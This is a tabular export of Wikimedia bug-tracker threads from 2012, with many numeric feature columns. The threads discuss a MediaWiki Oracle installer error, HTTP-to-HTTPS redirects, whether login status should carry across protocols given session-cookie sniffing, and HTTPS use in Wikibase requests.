192412,Fatal installer error using Oracle DB (HTTP 500 error): undefined function mb_check_encoding(),Proposed fix in Gerrit: https://gerrit.wikimedia.org/r/31141,,,1351722919,,PHID-USER-uqsneapm3xsldkxiwool,False,,,PHID-TASK-wdntrqazkn2vuvrk5b6w,task_subcomment,,True,c2,1,False,,,-43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Proposed fix in Gerrit: GERRIT_URL
192406,Fatal installer error using Oracle DB (HTTP 500 error): undefined function mb_check_encoding(),"languages/Language.php sets mb_internal_encoding('UTF-8'), so the check in DatabaseOracle.php checks for valid UTF-8.

AFAIK, throughout the rest of MediaWiki, mbstring is always optional.

To check for valid UTF-8, DatabaseOracle.php could use the same technique as Language::checkTitleEncoding(), which uses preg_match if mb_check_encoding is not available.",,,1350764826,,PHID-USER-uqsneapm3xsldkxiwool,False,,,PHID-TASK-wdntrqazkn2vuvrk5b6w,task_subcomment,,True,c2,1,False,,,-45,True,0.0,0.0,0.0,0.0,2.0,12.0,3.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,15.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,14.0,8.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,5.406779661016949,0.7288135593220338,"languages/Language.php sets mb_internal_encoding('UTF-8'), so the check in DatabaseOracle.php checks for valid UTF-8.

AFAIK, throughout the rest of MediaWiki, mbstring is always optional.

To check for valid UTF-8, DatabaseOracle.php could use the same technique as Language::checkTitleEncoding(), which uses preg_match if mb_check_encoding is not available."
192398,Fatal installer error using Oracle DB (HTTP 500 error): undefined function mb_check_encoding(),"**freak** wrote:

This backend uses mb_check_encoding to make sure everything used in queries is always in the right encoding. It might be removed at some point, but for now it requires php to have mbstring enabled (i.e.: --enable-mbstring)

Hope this helps in any way ...",,,1350629022,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wdntrqazkn2vuvrk5b6w,task_subcomment,,True,c2,1,False,,,-45,True,3.0,2.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,5.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.8983050847457625,0.847457627118644,"**freak** wrote:

This backend uses mb_check_encoding to make sure everything used in queries is always in the right encoding. It might be removed at some point, but for now it requires php to have mbstring enabled (i.e.: --enable-mbstring)

Hope this helps in any way ..."
43070,Hostname changes redirects from HTTPS to HTTPS,"https://mediawiki.org/

returns

HTTP/1.1 301 Moved Permanently
Location: http://www.mediawiki.org/

expected result

HTTP/1.1 301 Moved Permanently
Location: https://www.mediawiki.org/

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://mediawiki.org/",Needs Triage,90.0,1350377940,1350378675.0,PHID-USER-3dmql6z7s5lnn5lu2vs3,False,,False,PHID-TASK-mnp4tcmjqbsjfu7vkanp,task_description,resolved,True,c2,1,False,False,True,-46,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.92,0.36,"URL

returns

HTTP/1.1 301 Moved Permanently
Location: URL

expected result

HTTP/1.1 301 Moved Permanently
Location: URL

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
187137,Hostname changes redirects from HTTPS to HTTPS,"

%%%*** This bug has been marked as a duplicate of bug 31369 ***%%%",,,1350378675,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-mnp4tcmjqbsjfu7vkanp,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 31369 ***%%%"
43022,Preserve login status when switching protocols (HTTP and HTTPS),"Right now, if you log into the wiki under HTTPS protocol, then visit a page under HTTP protocol, it shows you as logged out. This is bad practice, because requires logging in again. The cookies should be shared in HTTP and HTTPS.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1350234180,1350515601.0,PHID-USER-p2ebbrj45wupyi25othr,False,,False,PHID-TASK-icvsuemcgcfrzfzbjuze,task_description,declined,True,c2,1,False,False,True,-46,True,0.0,0.0,0.0,1.0,0.0,3.0,1.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,13.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,13.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8115942028985508,0.7101449275362319,"Right now, if you log into the wiki under HTTPS protocol, then visit a page under HTTP protocol, it shows you as logged out. This is bad practice, because requires logging in again. The cookies should be shared in HTTP and HTTPS.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
184412,Preserve login status when switching protocols (HTTP and HTTPS),Gmail is https-only since .... a year or two ago? We should be following that model and dropping all HTTP login support these days.,,,1350515601,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-45,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,4.0,7.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,3.857142857142857,1.0,Gmail is https-only since .... a year or two ago? We should be following that model and dropping all HTTP login support these days.
184406,Preserve login status when switching protocols (HTTP and HTTPS),"(In reply to comment #7)
> It's not secure to send https cookies over http. So if a user requests https on
> mediawiki login, we set the flag to only send the session cookie for page
> reqests over https. Otherwise an attacker just has to give a victim an image or
> redirect to http://en.wikipedia.org, and can sniff their session cookie.

I wonder why major online services like GMail or Yahoo! do that then. They only use HTTPS for login, by default.",,,1350340236,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,5.0,0.0,2.0,0.0,5.0,12.0,10.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.8333333333333334,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

I wonder why major online services like GMail or Yahoo! do that then. They only use HTTPS for login, by default."
184402,Preserve login status when switching protocols (HTTP and HTTPS),Is this bug WONTFIX/INVALID then?,,,1350315659,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,Is this bug WONTFIX/INVALID then?
184399,Preserve login status when switching protocols (HTTP and HTTPS),"It's not secure to send https cookies over http. So if a user requests https on mediawiki login, we set the flag to only send the session cookie for page reqests over https. Otherwise an attacker just has to give a victim an image or redirect to http://en.wikipedia.org, and can sniff their session cookie.",,,1350309219,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,15.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,15.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.9322033898305087,0.7627118644067796,"It's not secure to send https cookies over http. So if a user requests https on mediawiki login, we set the flag to only send the session cookie for page reqests over https. Otherwise an attacker just has to give a victim an image or redirect to URL and can sniff their session cookie."
184396,Preserve login status when switching protocols (HTTP and HTTPS),"I'm not sure if this is against security standards. From bug 29898 comment 2 by Brion Vibber:

> Running all login forms through HTTPS, then after that either keeping you in
> secure HTTPS-land or giving you an insecure cookie and shoving you back to
> HTTP, is common practice.

If it is reasonable to allow HTTP users to use HTTPS for login and then be redirected back to HTTP, then it is also reasonable to allow a user who started on HTTPS, and logged in on HTTPS, to retain their cookies in HTTP too.

I will wait for further input from others.",,,1350257974,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,1.0,1.0,5.0,3.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,7.0,20.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,17.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,6.0,20.0,9.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.6744186046511627,0.6744186046511628,"I'm not sure if this is against security standards. From bug 29898 comment 2 by Brion Vibber:

QUOTE
QUOTE
QUOTE

If it is reasonable to allow HTTP users to use HTTPS for login and then be redirected back to HTTP, then it is also reasonable to allow a user who started on HTTPS, and logged in on HTTPS, to retain their cookies in HTTP too.

I will wait for further input from others."
184393,Preserve login status when switching protocols (HTTP and HTTPS),"(In reply to comment #4)
> The reverse doesn't work. Log into HTTPS and then visit the site under HTTP.

Right. This is a security feature. It prevents users from unwittingly exposing their session information over HTTP after they've properly logged in via HTTPS. I believe this bug is invalid.",,,1350246356,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,9.0,15.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.086956521739131,0.9130434782608695,"(In reply to comment #4)
QUOTE

Right. This is a security feature. It prevents users from unwittingly exposing their session information over HTTP after they've properly logged in via HTTPS. I believe this bug is invalid."
184389,Preserve login status when switching protocols (HTTP and HTTPS),The reverse doesn't work. Log into HTTPS and then visit the site under HTTP.,,,1350243671,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,24.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.9411764705882353,The reverse doesn't work. Log into HTTPS and then visit the site under HTTP.
184383,Preserve login status when switching protocols (HTTP and HTTPS),"(In reply to comment #2)
> For example, I may use HTTP primarily and even decide to login over HTTP (and
> therefore not use the feature 29898 is suggesting); however, after I'm logged
> in, if I click on a DIFF link which has HTTPS in the beginning of it, I still
> want to show as logged in.

With a completely reset Web browser (no cookies, no cache, etc.), if I navigate to <http://en.wikipedia.org> right now and successfully log in, when I subsequently navigate to <https://en.wikipedia.org>, I'm also logged in. Logging in via HTTP will log you in to both HTTP and HTTPS.

Given this, I'm still unclear what the bug is here. Does this feature not work for you?",,,1350241895,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,4.0,0.0,10.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,20.0,2.0,2.0,7.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,6.0,14.0,4.0,1.0,0.0,0.0,6.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,4.0,3.2708333333333335,0.6354166666666666,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

With a completely reset Web browser (no cookies, no cache, etc.), if I navigate to <URL right now and successfully log in, when I subsequently navigate to <URL I'm also logged in. Logging in via HTTP will log you in to both HTTP and HTTPS.

Given this, I'm still unclear what the bug is here. Does this feature not work for you?"
184377,Preserve login status when switching protocols (HTTP and HTTPS),"Not really. Bug 29898 talks about if a user wants to always use HTTPS for login (JUST for login), and how to enforce all sessions to be secure. This bug, however, is about retaining the login status if at some point you decide to switch protocols.

For example, I may use HTTP primarily and even decide to login over HTTP (and therefore not use the feature 29898 is suggesting); however, after I'm logged in, if I click on a DIFF link which has HTTPS in the beginning of it, I still want to show as logged in.

They are related features, but not the same.",,,1350240450,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,False,,,-46,True,1.0,0.0,0.0,1.0,2.0,1.5,1.0,0.0,0.0,2.0,5.5,1.0,0.0,0.0,0.0,3.0,1.0,8.5,14.5,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,6.5,2.0,1.0,1.0,0.5,0.0,0.0,1.5,2.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,10.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,4.0,2.5,9.5,2.5,3.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,5.0,14.5,2.0,0.0,0.0,0.0,5.0,0.0,1.5,1.5,0.0,1.5,0.0,0.0,0.0,3.5952380952380953,0.7777777777777778,"Not really. Bug 29898 talks about if a user wants to always use HTTPS for login (JUST for login), and how to enforce all sessions to be secure. This bug, however, is about retaining the login status if at some point you decide to switch protocols.

For example, I may use HTTP primarily and even decide to login over HTTP (and therefore not use the feature 29898 is suggesting); however, after I'm logged in, if I click on a DIFF link which has HTTPS in the beginning of it, I still want to show as logged in.

They are related features, but not the same."
184369,Preserve login status when switching protocols (HTTP and HTTPS),Dupe of bug 29898?,,,1350235017,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Dupe of bug 29898?
42550,Use http get with https whenever possible,"

--------------------------
**Version**: unspecified
**Severity**: normal
**Whiteboard**: storypoints: 2",Needs Triage,90.0,1348744260,1350492055.0,PHID-USER-ydl4ek3zzlyuz7f7upgt,False,,False,PHID-TASK-tcrbgof7zzlpsbfnayrl,task_description,resolved,True,c2,1,False,False,True,-48,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.607142857142857,0.42857142857142855,"

--------------------------
**Version**: unspecified
**Severity**: normal
**Whiteboard**: storypoints: 2"
181682,Use http get with https whenever possible,Verified in Wikidata demo time for sprint 18,,,1354192955,,PHID-USER-yhr5vdicsftzppoi7hat,False,,,PHID-TASK-tcrbgof7zzlpsbfnayrl,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,Verified in Wikidata demo time for sprint 18
181678,Use http get with https whenever possible,"With the patch in https://gerrit.wikimedia.org/r/#/c/25509/ and doing a fresh install of MW + Wikibase repo (running maintenance/update.php), I get the following error:

Warning: Invalid argument supplied for foreach() in /Library/WebServer/Documents/wikidata-repo/extensions/Wikibase/lib/includes/Utils.php on line 88

When I change the ""https"" back to ""http"", then it works.  There must be some other solution for this to work correctly.",,,1349110322,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-tcrbgof7zzlpsbfnayrl,task_subcomment,,True,c2,1,False,,,-48,True,1.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,4.0,10.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,15.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,10.0,7.0,0.0,4.0,0.0,3.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,3.7934782608695654,0.7282608695652174,"With the patch in URL and doing a fresh install of MW + Wikibase repo (running maintenance/update.php), I get the following error:

Warning: Invalid argument supplied for foreach() in /Library/WebServer/Documents/wikidata-repo/extensions/Wikibase/lib/includes/Utils.php on line 88

When I change the ""https"" back to ""http"", then it works.  There must be some other solution for this to work correctly."
181674,Use http get with https whenever possible,"Partial fix in Idf0a6547, but that does not address the issues raised about HTTP requests from the MediaWikiSite class. If I remember the discussion correctly, we agreed that any protocol-relative base URL should default to using HTTPs - at least for Wikimedia sites. That needs additional work.",,,1348999859,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-tcrbgof7zzlpsbfnayrl,task_subcomment,,True,c2,1,False,,,-48,True,2.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,17.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,15.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.611111111111111,0.8703703703703703,"Partial fix in Idf0a6547, but that does not address the issues raised about HTTP requests from the MediaWikiSite class. If I remember the discussion correctly, we agreed that any protocol-relative base URL should default to using HTTPs - at least for Wikimedia sites. That needs additional work."
181669,Use http get with https whenever possible,"There were two place you're calling Http::get(), it would be nice if they could both be forced to use https. It looks like you're using the data pulled back to populate objects, which is fine for the objects you're currently using, but if you start building objects that could effect access control, then you want to make sure you have the correct data.",,,1348828384,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-tcrbgof7zzlpsbfnayrl,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,1.0,0.0,5.0,3.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,4.0,9.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,11.0,0.0,3.0,4.0,8.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,12.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,4.0,5.0,4.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,12.0,9.0,1.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9324324324324325,0.7027027027027027,"There were two place you're calling Http::get(), it would be nice if they could both be forced to use https. It looks like you're using the data pulled back to populate objects, which is fine for the objects you're currently using, but if you start building objects that could effect access control, then you want to make sure you have the correct data."
42194,MobileFrontend: remove old hacks for HTTP_APPLICATION_VERSION,"There are some hacks that check HTTP_APPLICATION_VERSION and hide the header or logo depending on settings that came from our old iPhone and Android apps that did screen scraping.

These old apps are dead and we should remove the special-cases, which had caching issues anyway.

--------------------------
**Version**: unspecified
